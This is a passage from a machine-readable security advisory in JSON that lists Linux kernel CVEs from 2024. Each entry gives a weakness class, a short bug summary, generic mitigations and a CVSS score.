          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.0,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40971"
    },
    {
      "cve": "CVE-2024-40978",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "scsi: qedi: crash while reading debugfs attribute. The qedi_dbg_do_not_recover_cmd_read() function invokes sprintf() directly on a __user pointer, which results into the crash.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.2,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40978"
    },
    {
      "cve": "CVE-2024-40980",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "drop_monitor: replace spin_lock by raw_spin_lock trace_drop_common() is called with preemption disabled, and it acquires a spin_lock. This is problematic for RT kernels because spin_locks are sleeping locks in this configuration, which causes the following splat.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40980"
    },
    {
      "cve": "CVE-2024-40984",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ACPICA: Revert \"ACPICA: avoid Info: mapping multiple BARs. Your kernel is fine.\"",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40984"
    },
    {
      "cve": "CVE-2024-40993",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netfilter: ipset: suspicious rcu_dereference_protected().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40993"
    },
    {
      "cve": "CVE-2024-40995",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/sched: act_api: possible infinite loop in tcf_idr_check_alloc().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40995"
    },
    {
      "cve": "CVE-2024-41000",
      "cwe": {
        "id": "CWE-190",
        "name": "Integer Overflow or Wraparound"
      },
      "notes": [
        {
          "category": "summary",
          "text": "block/ioctl: prefer different overflow check Running syzkaller with the newly reintroduced signed integer overflow sanitizer.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-41000"
    },
    {
      "cve": "CVE-2024-41004",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "tracing: Build event generation tests only as modules The kprobes and synth event generation test modules add events and lock (get a reference) those event file reference in module init function, and unlock and delete it in module exit function. This is because those are designed for playing as modules. If we make those modules as built-in, those events are left locked in the kernel, and never be removed.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-41004"
    },
    {
      "cve": "CVE-2024-41005",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netpoll: race condition in netpoll_owner_active KCSAN detected a race condition in netpoll.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.9,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-41005"
    },
    {
      "cve": "CVE-2024-41006",
      "cwe": {
        "id": "CWE-404",
        "name": "Improper Resource Shutdown or Release"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netrom: a memory leak in nr_heartbeat_expiry().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-41006"
    },
    {
      "cve": "CVE-2024-41016",
      "cwe": {
        "id": "CWE-119",
        "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ocfs2: strict bound check before memcmp in ocfs2_xattr_find_entry()\r\n\r\nxattr in ocfs2 maybe \u0027non-indexed\u0027, which saved with additional space requested. It\u0027s better to check if the memory is out of bound before memcmp, although this possibility mainly comes from crafted poisonous images.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-41016"
    },
    {
      "cve": "CVE-2024-41996",
      "cwe": {
        "id": "CWE-295",
        "name": "Improper Certificate Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Validating the order of the public keys in the Diffie-Hellman Key Agreement Protocol, when an approved safe prime is used, allows remote attackers (from the client side) to trigger unnecessarily expensive server-side DHE modular-exponentiation calculations. The client may cause asymmetric resource consumption. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE and validate the order of the public key.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-41996"
    },
    {
      "cve": "CVE-2024-42070",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: fully validate NFT_DATA_VALUE on store to data registers register store validation for NFT_DATA_VALUE is conditional, however, the datatype is always either NFT_DATA_VALUE or NFT_DATA_VERDICT. This only requires a new helper function to infer the register type from the set datatype so this conditional check can be removed. Otherwise, pointer to chain object can be leaked through the registers.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42070"
    },
    {
      "cve": "CVE-2024-42082",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "notes": [
        {
          "category": "summary",
          "text": "xdp: unused WARN() in __xdp_reg_mem_model().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42082"
    },
    {
      "cve": "CVE-2024-42090",
      "cwe": {
        "id": "CWE-833",
        "name": "Deadlock"
      },
      "notes": [
        {
          "category": "summary",
          "text": "pinctrl: deadlock in create_pinctrl() when handling -EPROBE_DEFER. In create_pinctrl(), pinctrl_maps_mutex is acquired before calling add_setting(). If add_setting() returns -EPROBE_DEFER, create_pinctrl() calls pinctrl_free(). However, pinctrl_free() attempts to acquire pinctrl_maps_mutex, which is already held by create_pinctrl(), leading to a potential deadlock.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42090"
    },
    {
      "cve": "CVE-2024-42093",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/dpaa2: explicit cpumask var allocation on stack For CONFIG_CPUMASK_OFFSTACK=y kernel, explicit allocation of cpumask variable on stack can cause potential stack overflow.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42093"
    },
    {
      "cve": "CVE-2024-42094",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/iucv: explicit cpumask var allocation on stack For CONFIG_CPUMASK_OFFSTACK=y kernel, explicit allocation of cpumask variable on stack can cause potential stack overflow.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42094"
    },
    {
      "cve": "CVE-2024-42096",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: x86: stop playing stack games in profile_pc().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42096"
    },
    {
      "cve": "CVE-2024-42097",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A missed validation vulnerability in the Linux Kernel\u0027s MIDI sequencer and router support functionality could allow a local user to crash the system.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42097"
    },
    {
      "cve": "CVE-2024-42114",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: cfg80211: restrict NL80211_ATTR_TXQ_QUANTUM values",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42114"
    },
    {
      "cve": "CVE-2024-42259",
      "cwe": {
        "id": "CWE-131",
        "name": "Incorrect Calculation of Buffer Size"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ndrm/i915/gem: Fix Virtual Memory mapping boundaries calculation\r\n\r\nCalculating the size of the mapped area as the lesser value\r\nbetween the requested size and the actual size does not consider\r\nthe partial mapping offset. This can cause page fault access.\r\n\r\nFix the calculation of the starting and ending addresses, the\r\ntotal size is now deduced from the difference between the end and\r\nstart addresses.\r\n\r\nAdditionally, the calculations have been rewritten in a clearer\r\nand more understandable form.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42259"
    },
    {
      "cve": "CVE-2024-42265",
      "cwe": {
        "id": "CWE-99",
        "name": "Improper Control of Resource Identifiers (\u0027Resource Injection\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nprotect the fetch of -\u003efd[fd] in do_dup2() from mispredictions\r\n\r\nboth callers have verified that fd is not greater than -\u003emax_fds;\r\nhowever, misprediction might end up with\r\n        tofree = fdt-\u003efd[fd];\r\nbeing speculatively executed.  That\u0027s wrong for the same reasons\r\nwhy it\u0027s wrong in close_fd()/file_close_fd_locked(); the same\r\nsolution applies - array_index_nospec(fd, fdt-\u003emax_fds) could differ\r\nfrom fd only in case of speculative execution on mispredicted path.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42265"
    },
    {
      "cve": "CVE-2024-42272",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "sched: act_ct: take care of padding in struct zones_ht_key.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42272"
    },
    {
      "cve": "CVE-2024-42276",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nnvme-pci: add missing condition check for existence of mapped data\r\n\r\nnvme_map_data() is called when request has physical segments, hence\r\nthe nvme_unmap_data() should have same condition to avoid dereference.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42276"
    },
    {
      "cve": "CVE-2024-42281",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nbpf: Fix a segment issue when downgrading gso_size\r\n\r\nLinearize the skb when downgrading gso_size because it may trigger a\r\nBUG_ON() later when the skb is segmented as described in [1,2].",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42281"
    },
    {
      "cve": "CVE-2024-42283",
      "cwe": {
        "id": "CWE-908",
        "name": "Use of Uninitialized Resource"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: nexthop: Initialize all fields in dumped nexthops\n\nstruct nexthop_grp contains two reserved fields that are not initialized by\nnla_put_nh_group(), and carry garbage. This can be observed e.g. with\nstrace (edited for clarity):\n\n    # ip nexthop add id 1 dev lo\n    # ip nexthop add id 101 group 1\n    # strace -e recvmsg ip nexthop get id 101\n    ...\n    recvmsg(... [{nla_len=12, nla_type=NHA_GROUP},\n                 [{id=1, weight=0, resvd1=0x69, resvd2=0x67}]] ...) = 52\n\nThe fields are reserved and therefore not currently used. But as they are, they\nleak kernel memory, and the fact they are not just zero complicates repurposing\nof the fields for new ends. Initialize the full structure.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-42283"
    },
    {
      "cve": "CVE-2024-42292",
